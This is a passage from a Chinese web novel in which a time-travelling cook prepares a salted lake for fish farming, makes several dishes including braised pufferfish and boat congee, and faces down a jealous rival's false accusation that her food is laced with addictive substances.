纪允茉数着面前的麻袋,估摸着这些海盐要是都洒向湖中,浓度是否能达到海鱼大虾,所需的生存条件,只是敷衍的应道:“一顿饭嘛,没问题的。”
“帮了我这么大一个忙,请你多吃几顿饭也是应当的。”
纪允茉每走一步清点那些海盐,霍炎辰就跟上一步,他敲打着手中合上的折扇,有些踌躇的开口,“除此之外,我还有个请求,就是……”
霍炎辰话还没说完,就听到周则衡喊道:“纪姑娘,你要雇的人,我都给你找来了。”
他站在盐碱地边,身后跟着十几名壮汉,左手边站着沙拉买提,隔着很远就见霍炎辰紧随纪允茉而行,见霍炎辰欲说还休的样子,他索性这般喊道。
纪允茉闻声回头,霍炎辰只得将没说完的话又吞了回去,睨了眼周则衡,打开手中的折扇,愤愤的扇动扇面。
“哎,好嘞!”纪允茉扬起手臂,朝他挥手,“带人过来吧!”
周则衡快步上前,见了霍炎辰只是象征性的打了声招呼,转而面对纪允茉时,扬起一抹笑意,“寻的都是平常帮着店里抗米面的,有气力、能干。”
纪允茉点点头,招手示意同那十几个壮汉站在一起的沙拉买提过来,她道:“阿姐今天有个忙需要你帮。”
沙拉买提拍着胸脯保证,“阿姐交代给我的事情,我保准能办好。”
“行,等会儿给你说。”她说着,几步上前,对今日来抗着麻袋要往湖里洒海盐的十几名壮汉道:“大伙儿来的时候,想必都已知晓了工钱。”
“我再说一遍,也是给双方个保证。工钱一百八十文一天,包午食。”
“不错,条件与带我们来的周兄所述一致。”一留着粗硬胡茬,身着短布麻衣的人道:“我们也都是实诚人,小娘子尽可去博塔打听,我们所做过的活儿,没有哪个主家说过不好的。”
“这撒盐的活儿交给我们,小娘子大可放心,我们一定会好好干的。”
话都挑明说到了这个份儿上,纪允茉没再叮嘱,只是侧过身,看着十几个壮汉,分成了三波,一波将海盐搬到停靠在湖边的船上;一波负责打开盐袋子,往外撒盐;剩下的一波负责划船。
而这三波人,在等到一袋子的海盐撒完了之后,就互相交换手中的工作,轮流着来。这样谁也不用为了只干轻巧的活儿,而争论起来。
倒也让纪允茉省心了,她站在岸边,叮嘱着:“一定要将整片湖都撒上盐,切莫只往一个地方去倒。”
“得嘞!”站在岸边搬盐的人应着,再看划着小船撒盐的,船只已经行驶到了湖心,有的甚至划到了湖对岸去。
周则衡也没闲着,一早替纪允茉雇人的同时,又叫脚夫赶着驴车,送来了些茅草和木桩,带了铁锹等工具。
此刻,他撸起袖子,小臂绷紧,拿铁锹挖地时露出青筋来,动作利索,每一锹都稳准狠,他同几个壮汉,没多久就将小屋的地基给挖好了。
纪允茉有些不解的走过去,问:“这是做什么?”
“你往后要在这处养鱼虾,鱼虾将要长成的时候,可不得在这里住段时间,看着些。”周则衡一把抹去额角的汗珠,解释着。
“对啊,我怎么都给忘了。”
周则衡双手撑在铁锹上,笑道:“没事儿,我记得也成。”
而后,他转过头去,朝着在阴凉地坐着,悠哉品茶的霍炎辰,得意的看过去,眼神中带着一丝挑衅的意味。
“我可不像某些人,只会躲着,一点儿活也不干。”
这话自是落在了离他不算远的霍炎辰耳中,他腾地起身,推开丫鬟递来的茶,气冲冲地说:“你说谁躲着不干活儿呢?”
“要不是我,这些海盐能这么快就运到湖边来?”霍炎辰说着,眉梢一挑,对着跟上来的侍卫说道:“去给我也拿把铁锹来,不就是盖个茅草屋,谁还不会了!”
侍卫还想拦着,抬头见霍炎辰递来不可推脱的目光,不敢多说一个字。
周则衡见他一说就接招了,将手中的铁锹塞给他,“既然霍大公子这么说,那就麻烦了。”
“此处人手够了,我去帮纪姑娘打下手。也该准备食材,做午食了!”他说着,转头提醒纪允茉道:“我去洗菜备菜去了。”
“这不是……”纪允茉刚想说这些不是要交给沙拉买提干,就见周则衡毅然决然地提起那桶花螺,打开储备着淡水的水缸,一瓢清水下去,他道:“这活儿我来就好,让他一个孩子,就找个地方看着他们撒盐就行。”
“也好。”纪允茉没拦他,对沙拉买提一个眼神示意,后者当即就明白了,搬了个木凳,坐在湖边不远处,像个小大人似的,看着那十几个壮汉往湖中撒盐。
临时搬来了张木桌,纪允茉拿出砧板,将洗净的鸡翅从中间划花刀切开,加料酒、生抽、蚝油、胡椒粉、淀粉,以及些许油,抓拌均匀了,满满一大盆的鸡翅,提前腌制上。
趁着腌制鸡翅的时间,将洋葱、老姜、沙姜切块,小葱切段。由着人多的缘故,调配的炒菜所需的料汁需要的也多了。
纪允茉拿了陶盆,按配比放生抽、酱油、蚝油,加水搅拌匀了。
“第一次做这大锅饭,没想到还挺累人的。”弯腰加根柴火的功夫,纪允茉的汗珠顺着鬓角滑落,她转身捧了把清水洗脸。
晶莹的水珠顺着她的脸颊滑落,打湿额前几缕碎发,脸上分明没有半点妆容,一眼望去却能叫人惊觉,生了这样好的一副容貌。
棉布刚擦干脸,带着温度的春风吹来,叫人神清气爽。
“烧火、刷锅、洗碗,这些活儿都我来干就好。”周则衡自然的接过她手中的烧火棍,“我来控制火候,你需要多大火,我来调整,保准你满意。”
“行,那你好好干活儿吧!
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纪允茉似乎是习惯了周则衡事事都做的周到,甚至说是近乎完美,没察觉到他今日勤奋的过头,以至于忽视了后者在烧火时回头望向远处,扶着木桩填土的霍炎辰时,那饶有意味的笑。
而霍炎辰心思根本不在搭建小屋上,得了空闲就往纪允茉这边看,这一看,正巧看到周则衡朝他不屑的一笑,心里更愤愤不平,发疯似的加快速度的填土。
同他一起搭建小屋的人看着他奇怪的举动,也不敢多说什么,只是忙着手中的活儿。
纪允茉这边刚将煎好的鸡翅盛出,又将花螺冷水下锅,加料酒、姜、葱,焯水捞出备用。
是以,砂锅容量小,又不好带,纪允茉只好试着用面前的这口大铁锅做花螺鸡翅煲。倒油爆香姜、洋葱,放入焯好水的花螺,翻炒几下,再加了鸡翅进去,等到要倒调好的料汁时,挥动着锅铲炒菜的小臂累的发酸。
她道:“去些柴,小火就行。帮我翻着菜,我来倒料汁。”
周则衡听后,动作迅速的去柴,接过她手中的锅铲。两人配合的很好,一个翻炒着锅中的花螺和鸡翅,一个顺势将料汁倒入,确保每个食材都裹上调好的料汁。
盖了锅盖,闷上一会儿。
纪允茉这才终于得了空闲,就近搬来小木凳,双手撑着下颌,“我之前从未做过这大锅饭,也没拿过这么大的锅铲。”
“这样的大锅菜,我只在我奶奶那里,听她讲着自己下乡工作,吃的也是这种大锅饭。”
纵然她说的话有很多都是周则衡所不明白的,但他还是回道:“之前祖父在的时候,我们也是这样,我生火,他煮饭。”
“那时为了省些蜡,我就借着煮饭的火光看书卷。还记得有次看得入迷了,一直往里添柴,被祖父骂了好一顿。”
他说着眼尾渐渐泛红,眼看泪水就要夺眶而出,却被纪允茉的一句话,惹得笑了出来。
“老师眼中的好学生啊!”只见身侧的人竖起大拇指,一脸认真,中气十足的夸赞着他。
许是认真过头了,却叫他忍不住笑出声。
闲聊之际,花螺鸡翅煲也焖好了,开盖的瞬间,鲜香扑鼻,周则衡小心的将准备好的碗筷搬来,他们一人盛菜,一人盛饭。
沙拉买提则是喊着撒盐的壮汉过来吃饭,而霍炎辰也丢了手中的铁锹,拍去衣袖上沾染的泥土,脚步虚浮,慢悠悠的走向四方木桌。
一旁的侍卫在他坐下后,就端来了饭菜。
鸡翅小火焖的软烂,轻轻一咬就脱骨,肉质嫩滑,花螺吸满了汤汁,鲜味十足!配上一碗白米饭,叫早就饿了的人,不到一会儿,饭菜均见了底。
“纪小娘子果然名不虚传,做的饭菜就是好吃,可否再给我盛上一碗?”一壮汉有些不好意思的开口,其他人见状笑着打趣,“哈哈哈哈,可别吃的太撑了,等下都没法儿弯腰搬盐袋子了。”
“我可不是那么没出息的人。”
“纪小娘子,我也想再来碗。”
“加我一个!”
纪允茉应着,“好嘞,诸位放心,今日的饭菜管够。”
20. 红烧河豚
落日余晖洒在深蓝色的湖面上,岸边的盐袋空了,几人跳下船,纷纷将小船推向岸,而一旁搭建的小木屋,此刻已有了大致的轮廓。
纪允茉提早定了些面肺子,此刻送货的脚夫正将拿羊杂卤煮好的面肺子放到木桌上,末了又从背篓中掏出一罐油辣子,交代着,“摊主说这是送的油辣子,切块的面肺子,拌上这油辣子,那味道才叫好。”
“行,替我谢过摊主了,送这么多的油辣子。”纪允茉接过,打开密封的盖子,鼻尖凑近之际,线椒混合着羊油的味道就飘了出来。
脚夫应了声,转身将背篓放到牛车上,急匆匆的往回赶去。
“大家伙儿忙完了先别着急着走,这不,我定的面肺子刚好到了。”纪允茉招呼着领过工钱,坐在木凳上喝水的人。
十几名壮汉,其中领头的开口道:“真是谢过纪小娘子了。”
“我们做些闲散活儿这么久,还是第一次遇到像纪小娘子这般待人颇好的主家。”
“是啊,光是中午的那道菜,就是我吃过的油水最多,也是最好吃的一道菜了。”说话的正是率先开口说想要盛第二碗饭菜的人,余下几人听了这话之后,不免笑出声来。
十几个瓷碗中装满了切好的面肺子,纪允茉一手抱着陶罐,一手拿着汤匙,将鲜红的油辣子淋在面肺子上,周则衡则是左右手各端一碗,送到那些个壮汉手中。
米白色切块的面肺子,在瓷碗中堆的冒尖儿,一勺汁香醇厚的油辣子淋上去,搅拌开了,使每一块面肺子都裹上椒香四溢的油辣子,舀上一勺,送入口中,软糯与香辣交织。
纪允茉端了一碗给霍炎辰送去,后者撇了一眼,道:“我还是不吃了!”
他虽平日爱穿梭于各巷,寻些没尝过的新奇吃食,可对于羊下水、猪下水这些,霍炎辰都是一概不尝的。
纪允茉没过多让他,每个人都有自己不喜欢吃的一两样食物,她转身给沙拉买提拿去了。
先前她也没有尝过面肺子这样的吃食,只是听人说,面肺子是将面粉加盐反复揉洗,拿纱布过滤出来面浆,羊肺洗净后,用针缝了口子,再将过滤好的面浆、清油、孜然循序渐进的灌入到羊肺中。
灌好的羊肺子,与各种羊杂一起入锅,慢炖半刻,羊肺变得饱满Q弹,吃的时候切块,再拌上油辣子,这便是所谓的面肺子。
沙拉买提边吃边道:“我阿娘也会做面肺子,每次过节的时候,我都能吃到阿娘做的面肺子。”
“我也好久都没回去看看阿娘了。”他放下碗筷,转身朝家所在的方向看去,“我家住在城西的城墙边儿上,离锦蜀酒楼很远,来回一个时辰。”
“我阿娘怕我来回跑着费鞋,除了过节,寻常就不让我往家赶。”
他一月的工钱算不上多,还要存着给家里做补贴,寻常连零嘴都舍不得买的孩子,更舍不得每月休沐时,包下一辆车赶回家去了。
纪允茉搬起木凳,靠近他坐下,“下次休沐,我同你一起回去,看看你阿娘,可好?”
“真的吗?阿姐!”沙拉买提难掩眼中的兴奋,仰头看着纪允茉,“我早就想回去看看了。”
纪允茉点点头,还没回答,就听他又沮丧的说:“可是来回一趟,要走很远的路,我这鞋底子怕是遭不住的。”
“谁说我们要走着回去的。”纪允茉忽地站起身,双手叉腰,“到时候,阿姐包一辆牛车,带你坐车回去。”
“再给你阿娘带些好吃的。”
沙拉买提也跟着又惊又喜的说:“太好了!我能回家看看去了。”
“不用谢我啊,往后我需要你帮忙的地方还多着呢!”为了防止他说些煽情的话,纪允茉提前预警般的说。
沙拉买提用力的点点头,“嗯,我保证会努力完成阿姐交给我的任务。”
“走了,该回去了!”来接他们回去的车夫已按时赶着牛车过来了,纪允茉示意他先过去,自己则走到湖边去。
此刻,众人都收拾好了,往回赶着,湖面恢复平静,只剩她一人站在湖边,吹着柔和的晚风。
在谨慎的环顾周围没人后,纪允茉从袖中摸出两个白玉色的小瓷瓶,蹲在湖边,拔开红布瓶塞,将两瓶东西全都倒入湖中。
这是她从系统工具箱拿的海洋生态系统模拟液和海水养殖微量元素,两瓶液体名字很长,浓缩的比例是系统调配过的,刚好使用于这片湖水。
不需要钱币兑换,点击下电子屏幕液体图标,就可化为实物使用。
纪允茉暗自吐槽,“对于这养鱼养虾所要用的东西,你倒是挺大方,怎么我用个调味料就要拿钱来换?”
海产品养殖系统冷漠的机械音响起:[养殖所需工具为促进任务进行,自然可以免费发放。]
[调味包内所属物品,仅是为宿主提供赚钱帮助,故此需要钱币兑换才可使用。]
“得,不就是我自己赚钱,我得自己投入成本。是有关于任务进行的,你就免费给。”纪允茉无奈的叹气,就听到海产品养殖系统又道:[请宿主尽快养殖虹鳟、南美白对虾、罗非鱼等鱼虾,鱼苗虾苗可随时兑换,放入养殖。]
“知道了,明天或者后天,我还得跑一趟过来放鱼苗、虾苗。”纪允茉重新将倒空了的小瓷瓶收好,小跑着赶上沙拉买提。
今日恰好碰上了两人都休息,而周则衡却是向开萨尔告假三天,来帮着她搭建这小木屋。
湖边附近五里,无人居住,昼夜温差极大,若是支起帐篷,生着火,也会将人生生冻坏。故此,几人须得踩着夜色往城中赶,待到天明再过来,继续赶工。
临到了锦蜀酒楼,门前的大红灯笼亮着暖红色的光,店里只剩下一桌还在喝酒的客人,努尔还未睡下,理着空桌的板凳,转身搬起另一张板凳之际,见他们几人回来了,问道:“可吃了晚膳?”
“吃了些面肺子。”纪允茉应着,抬手替自己倒了杯茶水,就听努尔又说道:“沈二小姐今日托人送了三条河豚过来,说是给你带的。”
“此刻还在铜盆中放着嘞!”
提起河豚,纪允茉当即追问起来,“可是处理好的河豚?”
“自然是,河豚虽肉鲜美,内脏却有剧毒。除了一些经验老道的老师傅,一般人还没敢下手处理河豚的。”努尔
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将最后一条板凳四腿朝天的反扣在擦干净的桌面上,拿了扫把,清扫起地面。
“这下有河豚吃了!”她说着,转身看向跟着的两人,“你们坐了一路的车,是不是也有点儿饿了?”
周则衡同沙拉买提还没回答,纪允茉转身朝着后厨走去,还道:“你们肯定饿了,坐着等会儿,我去做红烧河豚。”
与努尔擦肩而过时,她又交代着,“一起吃点儿?我两刻钟之内肯定能做好。”
努尔正拿扫把将细小的鱼骨扫进搓斗中,连忙道:“那敢情好,纪小娘子做的鱼啊,叫人吃了还想吃。”
纪允茉听后一蹦一跳的往前走去,侧边麻花辫也跟着她的步伐摆动,周则衡坐在靠窗的一桌,看着她的背影,不觉的扬起一抹笑意。
灶台一旁的铜盆中,赫然躺着三条处理好的河豚,鱼肉和鱼皮分离,纪允茉将河豚鱼皮用滚水烫过后,清洗干净,将鱼皮翻了过去,有刺的一面被光滑的一面包裹。
后厨内此刻只有她一人,生起火,油热后放姜片、葱段爆香,‘刺啦’一声河豚下锅,两面煎熟之后,放一点料酒、盐、白糖、酱油和生抽,加滚水没过鱼,小火炖上半个小时,浓郁的汤汁咕嘟咕嘟的翻滚冒泡儿。
掀开锅盖的瞬间,香味扑面而来,放入鱼皮,再炖上3分钟,纪允茉又放了两根柴进去,火势渐大,慢慢再炖上一会儿,直到汤汁收的差不多了,找来较深的瓷盘,轻轻将鱼铲了出来,撒上葱花。
纪允茉将菜端上去后,又拿了马奶酒来,想到沙拉买提不能喝酒,又道:“我记得奶茶还剩下一些,自己去倒些去吧。”
后者捧着个小碗,小跑着跑向后厨,还不忘转头叮嘱道:“给我留点儿鱼啊,别都吃完了!”
纪允茉笑着打趣他,“就从后厨到这里,几步路的功夫,我们又不是猫妖转世的,怎么会那么快把鱼给吃完了。”
“还不是阿姐做的鱼太好吃了!”沙拉买提边走边说,“我怕一不留神,你们都给吃完了。”
努尔没忍住,笑出声,故意逗他说:“那你可要快点回来了,小心回来的晚了,盘里只剩鱼刺了。”
“我肯定很快就过来。”沙拉买提的声音消失在后厨半开着的门后。
纪允茉没等他,折腾了一天,临回来时,面肺子没吃上几块,这会儿是真的饿了,她先夹起一块鱼肉入口。
河豚的肉特别嫩,豆腐似的,入口就化开了,鱼皮的刺被反包了起来,一口咽下去,别有风味。
河豚的鱼皮养胃,只是带刺,反过来去煮,只是吃的时候不能多嚼,一骨碌的几乎整块吞入肚中。
红烧河豚的汤汁搬着米饭,很是浓郁鲜香。
纪允茉知道河豚的肉质鲜美,却不会处理河豚,稍有不慎,河豚带有剧毒的内脏,误食了可是会出人命的,只是她自己也没有想到,有天在穿越后的世界里吃到处理好的河豚。
沙拉买提一手端着盛好的米饭,一手端着奶茶,步子急,却又怕碗中的奶茶洒了,刚一坐下,就道:“看着就好吃,我要就着鱼肉多吃些饭。”
“好,多吃些。”努尔笑道。
21. 艇仔粥
“来来来,大家伙儿看看啊!”罗素素站在锦蜀酒楼门口,怒气冲冲的吆喝着,“就是他们,菜里不知道放了什么东西,让人吃了上瘾。”
路过的人群、来酒楼的常客,闻言在酒楼门前围成了半个圈,好奇的窥探着究竟发生了什么事。
纪允茉刚理好衣襟,正准备乘牛车前往湖边,昨个儿就同开萨尔告假,谁成想一出门就碰到这一幕。
她还没来得及开口,就被罗素素攥着手腕,硬生生的扯到人群中去。
“就是这个叫纪允茉的,锦蜀酒楼新出的每一道菜都是她做的。”罗素素自以为是的分析起来,“有谁能每做一道菜,都卖的这么好,都叫人吃了忘不了。”
“一定是她给菜里下东西了!”
纪允茉挣脱开被罗素素钳制住的手腕,她低头揉着被攥的通红的手腕,没抬头,却高声反驳道:“有证据吗?你就在这里血口喷人!”
“证据?还需要证据吗?”罗素素指着一圈围观的人,其中大多都是锦蜀酒楼的常客,“他们就是最好的证据。”
“人人都知道,在你没来之前,锦蜀酒楼就是个快要开不下去的破楼!谁会来这里吃饭?”
罗素素越说,话里妒忌的酸味儿就愈发地明显,“现在倒好,凭借个什么季节性菜单,都有常客了!”
“不会有人能将每道菜都做的那么好吃,众口难调,这是根本不可能的事情!”
纪允茉笑着毫不客气的说:“那是你做不到,不代表我做不到!”
“你……”罗素素登时不知该做何反驳,红唇微张,好一会儿才挤出一个‘你’字来。
“没有证据,就敢在酒楼门口闹事儿!”纪允茉反过来拉着她,往人群外走去,“你说我们酒楼饭菜放让能人上瘾的东西,又拿不出证据,干脆去衙门断个是非分明去!”
听到要报衙门,罗素素瞬间半蹲着,挣开了纪允茉的束缚,她慌忙地理好衣裙,哆哆嗦嗦地说:“你……,你……,你胡说!”
“要是没有放东西,你那煎马鲛鱼,怎么可能那么多人去吃?同样的食材,我们都做不出来那个味道!”
情急之下,罗素素将藏在心底的话一股脑儿全说了出来,等她惊恐地反应过来捂住嘴时,纪允茉也全都明白了。
原本围观着小声议论的众人,在她这一顿话说过后,当即安静了下来。
罗素素慌忙地挤开围观的人,还没跑出‘人墙’两步,就被纪允茉一把拎住了后衣领,纪允茉靠近罗素素,贴在她的耳边道:“原来你们是嫉妒我们生意做的好,才来闹事儿的啊!”
“既然来了,那就好好说说,凡事都要论清楚了,才好!”纪允茉一字一顿,冷冷地说。
“你放开我!朗朗乾坤、青天白日的!就这么欺负我一个手无寸铁的小女子!”
罗素素双手双脚一齐用力地挣扎起来,纪允茉不知哪里来的力气,硬是把人拉到酒楼柜台前,开萨尔同样的刚睡醒收拾好,站在柜台后,手还没摸到账本,就被这突如其来的人吓了一大跳。
“掌柜的,福瑞酒楼模仿不出咱们所做的煎马鲛鱼,就派她来闹事儿了!”
罗素素当即吼道:“才不是的!是我自己来的,不关福瑞酒楼的事情。”
纪允茉转身喊道:“大家伙儿都看着的,是她一大早过来污蔑人,找事儿的。”
原本围观的吃瓜群众就好奇,此刻更是跟着进了酒楼,有人笑道:“福瑞酒楼也真是的,仿着人家做煎马鲛鱼。结果呢?做不出那个味道,就跑来人家酒楼门前闹事儿。”
“模仿不出人家做的那个味道,就开始造谣了。”一挎着竹篮的妇人问道:“欸,罗家娘子,照你这般想法,那你们酒楼的烤全羊,也是加了东西,叫人吃了上瘾?”
罗素素被激的更怒,指向那妇人,“呸!你胡说,我们酒楼何时做过这样的事?再胡说我撕烂你的嘴!”
“哎呦,真是个蛮不讲理的小娘子,你说空口白牙的说别人行,轮到来说你了,就这般,你也知道是胡说啊?”
“哈哈哈哈哈哈……”
嘲笑声将要把她整个人淹没,罗素素反咬一口不成,反倒倒打一耙!
开萨尔算是明白了其间缘由,挤进人群中,手疾眼快的抬手拦下罗素素朝纪允茉挥下的手,呵斥道:“罗家娘子,光天化日之下,你还想动手不成?”
“我同福瑞楼的罗掌柜,向来是井水不犯河水。我们不怕谁,但谁要敢惹是生非,欺负我们酒楼里的人,我定不轻饶!”
“好!”
“就该这样!做生意也该有做生意的规矩!”
“福瑞酒楼的人来闹事儿,那说明什么?”一带着白玉发冠的贵公子,缓缓说着,说到关键之处,却戛然而止。
有人耐不住好奇,焦急地问:“这能证明什么?”
“证明纪小娘子做的菜着实好吃啊!惹得对家都气急败坏的来找事情了。”他说着,朝问话的人一笑,招呼小二,“来碗紫菜汤底的云吞,再上道椒盐皮皮虾。”
“我来就是为的这一口,诸位,恕不奉陪了。”
这么一想,确实如此,原本被吸引来看热闹的人,热闹看过了后,这会儿子也饿了,顺势就同那公子一样,坐下点了些吃食。
罗素素更气了,非但没坏了锦蜀酒楼生意,反而还给它拉客了!
跟前的木桌陆续坐满了人,而罗素素还同纪允茉、开萨尔两人僵持着,她紧咬着下唇,低着头,倔强地一言不发。
开萨尔扫了一眼身侧站着的五六个打杂的,几人读懂了他的意思,在要动手将罗素素拖出去报官时,一声清亮拖长了尾音的:“慢着——”,让几人停下了手上的动作。
来的人正是福瑞酒楼的罗掌柜,罗胜满。
他笑着向开萨尔赔不是,“掌柜的,咱们可是老熟人的,看在我的面子上,别跟我侄女儿计较太多。”
“你侄女儿上来就污蔑纪小娘子,还妄想出手打人,这是说算了就能算了的事儿吗?”开萨尔也来了脾气,没让他这一套客气话随便将事情给圆了过去。
罗胜满是个聪明人,开酒楼二十多年,他什么事情没遇见过?
故此,他脸上的笑容更深,走到罗素素身旁时,睨了她一眼。罗胜满没想到罗素素能将事情闹得这么大,而他过来,不过是奔着煎马鲛鱼的做法来的。
没有过多的辩解,只是很利索地从袖中摸出一张地契,双手呈上递到开萨尔跟前,“掌柜的,我今日来,是想买下
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煎马鲛鱼的做法,这是我在城东的一家布店。”
“还望掌柜的能答应我,若是觉得这些钱不够,掌柜的尽管开口。”
一间商铺,只为换一个菜方。
纪允茉有些惊讶的在心中默默算着这笔账,而开萨尔显然也愣住了,他没想到罗胜满会舍得拿一间地段上好的铺子来换菜方。
旋即,他将一众人带去了空闲的茶室商议。
若是真的报到了官府,事情闹大了,对谁都不好。商人重利,手下的人等着他发工钱,而他们都各自有家室要养,能合作共赢,他们是绝对不会闹掰的。
最后的商议的结果显然可知,开萨尔同意将煎马鲛鱼的菜方和所需配料都卖给了他,橄榄油和黄油,需福瑞酒楼定期定批的派人过来取。
开萨尔没有收下那张地契,反而是让他们每次来取橄榄油和黄油时,按市场油价的两倍来付钱。
这些油都是纪允茉从系统空间中可无限获取的,因此,她也能从中抽取四成。
赚钱的事情,纪允茉自是没有拒绝,有了更多的钱,她也能有更多的成本拿去养鱼,何乐而不为呢?
取了纸墨来,签字画押之后,这事儿就这么定下了。罗胜满催着罗素素回去叫罗胜全来看着怎么做煎马鲛鱼,后者听了,忙接住给的台阶,灰溜溜地走了。
罗胜全小罗胜满两岁,家中排行第二,为人老实,在他开的酒楼中当厨掌勺,却没想到生了罗素素这么个跋扈的女儿来。
—
出了茶室,轻车熟路地走到后厨,纪允茉左手舀起一勺黄澄澄的蛋液,右手转动烧热的铁锅,蛋液均匀地铺满整个锅底,捻着翘起的边角,轻轻一撕,一张金黄的蛋皮完美出锅。
重复操作几十遍,一沓蛋皮放到一旁晾凉,而后切成蛋丝。鲩鱼肉提前搅成泥状,加入胡椒粉、盐、糖等,双手反复揉搓至起胶,摊成肉饼,入油锅炸到两面金黄,捞起控油过后,切成条状,就成了酥香的鱼松。
昨个儿就备好的炸猪皮、油条、虾仁、蜜汁油光的叉烧,全都切了块,又拿了切好的土豆丝、葱花、浮皮。
一切准备就绪,热粥也熬的差不多了,等到吃的时候,碗底铺上提前备好切块的食材,淋上热气腾腾的米粥,九种食材裹着米粥,鲜滑料足。
纪允茉替几人盛了一碗,拿木托盘端给等着的几人,道:“艇仔粥,很好吃的,两位掌柜的吃吃看。”
带上米粥,十种食材汇聚在一只瓷碗中,可谓是极尽奢华的一顿早餐了。纪允茉也替自己盛了一碗,剩下的尽数放入木桶中,封好了往湖边,给周则衡他们送去。
食材的钱,她算好了要给开萨尔时,开萨尔百般推辞,只说叫她将艇仔粥的做法教给后厨其他掌勺的人便是抵了这食材的钱。
“你是从哪里寻到的一位神厨?怎么这粥也做的这么好喝?”一碗艇仔粥下肚,罗胜满擦着嘴角,话中带着几分羡慕,“要是我也能寻着这么一位神厨,那就好了!”
“缘分的事情,谁能说的准呢?”开萨尔笑着,将话题抛了过去,“来,喝茶,这是我今年买的新茶,你尝尝。”
纪允茉一碗艇仔粥见底,央着脚夫将做好的粥放到牛车上,自己也跟着坐在板车一角,出发了!
22. 鲫鱼菌菇面
几位木匠师傅互相配合下,木屋四面墙体将要完工,周则衡正帮忙按着支摘窗。
已是辰时一刻,灯笼似的红日慢慢从群山间升起,白茫茫的山顶被金色的光辉包裹,柔和的春风吹走了凛冬的寒意,一路走来,远远的就能瞧见一片新绿。
脚夫‘吁’的一声,拉紧缰绳,老黄牛便停下了,纪允茉灵巧的跳下牛车,搬起一筐香菇,还不忘交代着,“木桶搬到那边就行了。”
她指向临时搭建起来的厨房,一张简易的木砧板,旁边就是灶台,而离灶台不出十步的距离,摆着七八张桌椅。
“那儿有瓷碗,要是没来得及吃朝食,不妨留下来喝碗粥再走!”
“谢过小娘子好意,但我得赶回去了。不然耽搁了送货的时间,下个主家就要扣我工钱了。”脚夫说着调转牛车,脚步匆匆。
纪允茉刚将最后一筐食材搬下车,她掀开竹筐上盖着的褥子,从中拿了三个烤包子,找油纸包了,小跑着给那脚夫送去。
“大哥,给你!拿着路上吃!”
后者双手接过,眼中竟有泪水打转,“多谢!”
“一早起来,还真没来得及吃东西。”走出十几米远的距离,那脚夫回头道:“小娘子,若是下次还要来送什么东西,我来给你送,你给五扣的价钱就好。”
“好,谢谢了!”纪允茉同样大声的回应着,她不免暗暗悲叹,古代的工作大多仍旧是同现代一样的难干!
“今日怎么过来的晚了些?”周则衡一眼就察觉到了她手腕上的红痕,“可是遇到了什么事,给耽搁了?”
纪允茉还沉浸在打工人苦命的伤感之中,被这么冷不丁的两句话给吓到了,她轻拍着胸口,缓了会儿,才道:“你也吓了我一跳,怎么?今天是忌出行吗?”
“一大早罗素素就过来找事儿,可要把人烦死了!”纪允茉跟他说起了事情的来龙去脉,而另一边的罗素素,狠狠地打了个喷嚏。
她仍旧不依不饶地说:“大伯,你干嘛要去出高价买他们的菜方?我可以找人……”
“你够了!”罗胜满高声呵斥着她,气得起身,在桌前来回徘徊,“你知不知道,要是今天锦蜀酒楼的那些人,硬拉着你去报官。”
“你一个姑娘家,你的名声怎么办?你往后如何嫁人?”
罗素素不听,想起纪允茉得意的朝她一笑的样子,她就来气,依旧是反驳道:“我不怕,我不在乎那些!我就是看不惯,他们将咱们的生意都抢了去。”
“一个中原过来的外地人,还能叫她这样欺负咱们下去?”
‘砰——’的一声,青色茶盏的碎片在她的脚边炸裂开,罗素素失声尖叫,本能地往一侧躲开了,惊恐地看向摔茶盏的罗胜满。
“大伯……”她怯怯地试着叫了声,而罗胜满却是一腔怒火,骂道:“罗胜全怎么就生了你这么个蠢货?”
“今日我若是不出面将菜方买下,你此刻还能在这里站着?只会嚷嚷!你若是想真的搞垮对家,也要动动你的脑子好好想想法子!”
罗胜满指着罗胜全,一同嗔怪着,“你平日里就是这般教导你女儿的?一个憨到一句话也不会说,一个只会叫嚷,你们可真不愧是亲父女!”
罗胜满气得摔袖负手而去,罗素素追了上去,还没跑两步,就被罗胜满转身拦下,“给我待在自己房里,这半个月哪儿也不准去!”
他还交代着站在门外的两名丫鬟,“给我看好她了,她要是出了房门半步,我拿你们试问!”
罗素素委屈地说:“大伯,我所做之事,也是为了酒楼,为了咱们的生意着想,你怎么能关我禁闭?”
罗胜满没再理她,直到他的身影消失在罗素素的视线中,后者才又转头责怪起罗胜全来,“爹,刚才大伯那么说我,你怎么一句话也不说?”
罗胜全叹了口气,无奈地摇摇头,“你做错了事,本就该说!你大伯说你,也是为了你好。咱们做生意的人,哪能这样?”
“好啊,倒都是我的不是了!”罗素素一把将桌面上的茶盏、茶壶摔了个粉碎,“你这样无能,一点儿都比不上大伯,怪不得只能做个厨子!”
“厨子怎么了?你爹我就喜欢当个厨子!”罗胜全被她这一句话激怒了,甩手而去,屋内只剩她一人,罗素素愤恨地咬牙切齿道:“纪允茉你给我等着,咱们两个之间的账,早晚有天要彻底做个清算!”
—
正洗着香菇的纪允茉冷不丁地打了个寒颤,自言自语道:“谁说我了吗?”
“这些竹笋也都要洗了?”周则衡刚将鲫鱼处理好,瞥见一旁的竹笋,问道。
“对,再不吃就要坏了!上次努尔出门采买的竹笋还剩下这些,我都拿来了。”纪允茉将香菇捞出,右手握刀,不一会儿一个香菇就切了花刀,好看又吸汤。
竹笋洗净后切片,水开加盐进去,再放竹笋,这样能去了土腥味儿。
铁锅中加猪油,葱姜蒜爆香,下鲫鱼,煎到两面金黄,拿锅铲将它们尽数都给铲碎了,而后加滚水进去。
大火滚个十分钟,汤汁变得奶白浓郁,咕嘟咕嘟的冒着泡儿,拿纱布倒出过滤,反复几遍,确保汤中没有一根小刺。
鲫鱼汤重新下锅,加上切片的竹笋、香菇、赤松茸、虫草花,煮开后只需撒上盐,而后再煮上十分钟,使竹笋的香甜、香菇的香,与鲫鱼汤相互融合。
最后才下面条进去,随着铜勺的搅动,面条吸饱了汤汁,每一口下去都是鲜的。
木匠师傅早晨吃了碗艇仔粥,临近午时,早已饿了。
开盖后,鲜香飘出,叫人忍不住直吞口水,连霍玄隔着老远就道:“这是又在做什么好吃的?大老远就闻到香味儿了。”
纪允茉同周则衡见他来了,忙朝他行了一礼,而后几乎是异口同声地说:“城主,您怎么来了?”
霍玄身后跟着二十几人,个个身带佩刀,神情森
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严,让纪允茉不由得想起来了押送她过来的那些个解差。
“这不是听闻纪小娘子开始在此处养鱼,我就想着过来看看,有什么我能帮的上的。”
